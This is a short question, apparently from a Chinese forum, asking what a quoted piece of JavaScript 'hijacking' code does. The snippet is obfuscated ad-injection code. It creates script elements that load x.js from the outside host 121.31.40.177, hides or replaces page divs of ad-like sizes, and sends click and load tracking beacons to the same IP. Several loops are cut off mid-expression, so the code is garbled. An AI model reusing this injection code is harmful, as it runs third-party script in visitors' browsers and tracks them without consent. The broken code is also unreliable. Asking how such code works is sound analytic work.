这段 JS 劫持代码什么意思？

var _$ = ['DIV20170608', "document", "getElementsByTagName", 'div', "length", "push", "clientWidth", "clientHeight", "createElement", 'script', "src", 'http://121.31.40.177:88/x.js?id=', '&s=', 'x', "id", "style", "display", 'none', "dataset", "isReplace", "appendChild", "overflow", 'hidden', " onload", "bind", 'Y', "innerHTML", '', 'block', "width", 'px', "height", "activeElement", "parentElement", "getAttribute", 'id', "indexOf", 'http://121.31.40.177:88/s.do?id=h00000003&click', "offsetWidth", "offsetHeight", "parentNode", "isPush", "addEventListener", 'load', 'http://121.31.40.177:88/s.do?id=h00000003&loadNum=']; !
function() {
var a = [];
var b = 0x3;
var c = _$[0];
var d = 0x0;
var e = {};
var f = false;
var g = 0x0;
function loadAd() {
var k = [0x78, 0x7d, 0xa0, 0xb4, 0xc8, 0xea, 0xfa, 0x12c, 0x150, 0x168, 0x1d4, 0x1e0, 0x1f4, 0x244, 0x280, 0x2d8, 0x2f8, 0x3c0];
var l = [0x3c, 0x7d, 0x258, 0x96, 0xc8, 0x3c, 0xfa, 0xfa, 0x118, 0x96, 0x3c, 0xa0, 0xc8, 0x5a, 0x3c, 0x5a, 0x3c, 0x3c];
var m = window[_$[1]][_$[2]](_$[3]);
for (var n = 0x0; n - 0x1) {
r = !0x0; (new Image)[_$[10]] = _$[37];
clearTimeout(q)
};
if (!r) {
q = setTimeout(function() {
checkClick(o)
},
0x32)
}
};
function findEle(o, p) {
p = p || 0x3;
if (!o) {
return false
};
for (var q = 0x0; q